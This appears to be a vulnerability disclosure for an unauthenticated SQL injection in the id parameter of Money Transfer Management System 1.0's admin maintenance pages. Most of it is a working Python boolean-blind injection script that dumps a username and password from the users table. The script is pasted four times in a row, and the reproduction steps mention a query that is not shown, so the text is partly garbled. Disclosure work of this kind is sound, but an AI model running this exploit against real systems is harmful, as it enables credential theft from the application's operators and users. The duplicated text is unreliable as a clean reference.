Description
Money Transfer Management System Version 1.0 allows an unauthenticated user to inject SQL queries in admin/maintenance/manage_branch.php and admin/maintenance/manage_fee.php via the id parameter.
Proof of Concept
Steps to reproduce
Go to http://127.0.0.1/mtms/admin/maintenance/manage_branch.php
Insert the following query inside the id parameter.
The server response changes if the second part of the query is true or false. To automate the process use the below exploit.
System Information
Version: Money Transfer Management System version 1.0.
Operating System: Linux.
Web Server: Apache
PHP Version: 7.4
Database and version: MySQL
Exploit
import requests
import urllib.parse
dictionary = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"""
def sqli_bool(base_url,query):
url = "?id=1' and %s -- -" % query
r = requests.get(base_url+url)
if len(r.text) > 2700:
return True
else:
return False
def get_length(url, query):
for i in range(0,200):
current_query = "(length((%s))=%s)"%(query,str(i))
current_query = current_query=urllib.parse.quote(current_query)
if sqli_bool(url,current_query):
break
if i !=199:
return i
else:
return -1
def make_query(url,query):
length = get_length(url,query)
print("[*] Getting output length:")
if length == -1:
print("Error getting query length")
return 0
print("[+] Output Length: " + str(length))
current_result = ""
print()
print("[*] Getting output: ")
for pos in range(length+1):
for char in dictionary:
current_query = '(substr((%s),%s,1)="%s")' %(query,str(pos),requests.utils.quote(char))
if sqli_bool(url,current_query):
current_result += char
print(current_result, end='\r')
break
print("[+] Found: " + " " * 100)
print(current_result)
url = "http://127.0.0.1/mtms/admin/maintenance/manage_branch.php"
query = "select concat(username,':', password) as t1 from users limit 1"
make_query(url,query)import requests
import urllib.parse
dictionary = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"""
def sqli_bool(base_url,query):
url = "?id=1' and %s -- -" % query
r = requests.get(base_url+url)
if len(r.text) > 2700:
return True
else:
return False
def get_length(url, query):
for i in range(0,200):
current_query = "(length((%s))=%s)"%(query,str(i))
current_query = current_query=urllib.parse.quote(current_query)
if sqli_bool(url,current_query):
break
if i !=199:
return i
else:
return -1
def make_query(url,query):
length = get_length(url,query)
print("[*] Getting output length:")
if length == -1:
print("Error getting query length")
return 0
print("[+] Output Length: " + str(length))
current_result = ""
print()
print("[*] Getting output: ")
for pos in range(length+1):
for char in dictionary:
current_query = '(substr((%s),%s,1)="%s")' %(query,str(pos),requests.utils.quote(char))
if sqli_bool(url,current_query):
current_result += char
print(current_result, end='\r')
break
print("[+] Found: " + " " * 100)
print(current_result)
url = "http://127.0.0.1/mtms/admin/maintenance/manage_branch.php"
query = "select concat(username,':', password) as t1 from users limit 1"
make_query(url,query)import requests
import urllib.parse
dictionary = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"""
def sqli_bool(base_url,query):
url = "?id=1' and %s -- -" % query
r = requests.get(base_url+url)
if len(r.text) > 2700:
return True
else:
return False
def get_length(url, query):
for i in range(0,200):
current_query = "(length((%s))=%s)"%(query,str(i))
current_query = current_query=urllib.parse.quote(current_query)
if sqli_bool(url,current_query):
break
if i !=199:
return i
else:
return -1
def make_query(url,query):
length = get_length(url,query)
print("[*] Getting output length:")
if length == -1:
print("Error getting query length")
return 0
print("[+] Output Length: " + str(length))
current_result = ""
print()
print("[*] Getting output: ")
for pos in range(length+1):
for char in dictionary:
current_query = '(substr((%s),%s,1)="%s")' %(query,str(pos),requests.utils.quote(char))
if sqli_bool(url,current_query):
current_result += char
print(current_result, end='\r')
break
print("[+] Found: " + " " * 100)
print(current_result)
url = "http://127.0.0.1/mtms/admin/maintenance/manage_branch.php"
query = "select concat(username,':', password) as t1 from users limit 1"
make_query(url,query)import requests
import urllib.parse
dictionary = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"""
def sqli_bool(base_url,query):
url = "?id=1' and %s -- -" % query
r = requests.get(base_url+url)
if len(r.text) > 2700:
return True
else:
return False
def get_length(url, query):
for i in range(0,200):
current_query = "(length((%s))=%s)"%(query,str(i))
current_query = current_query=urllib.parse.quote(current_query)
if sqli_bool(url,current_query):
break
if i !=199:
return i
else:
return -1
def make_query(url,query):
length = get_length(url,query)
print("[*] Getting output length:")
if length == -1:
print("Error getting query length")
return 0
print("[+] Output Length: " + str(length))
current_result = ""
print()
print("[*] Getting output: ")
for pos in range(length+1):
for char in dictionary:
current_query = '(substr((%s),%s,1)="%s")' %(query,str(pos),requests.utils.quote(char))
if sqli_bool(url,current_query):
current_result += char
print(current_result, end='\r')
break
print("[+] Found: " + " " * 100)
print(current_result)
url = "http://127.0.0.1/mtms/admin/maintenance/manage_branch.php"
query = "select concat(username,':', password) as t1 from users limit 1"
make_query(url,query)Mitigation
By 2022-03-15 there is not a patch resolving the issue.
References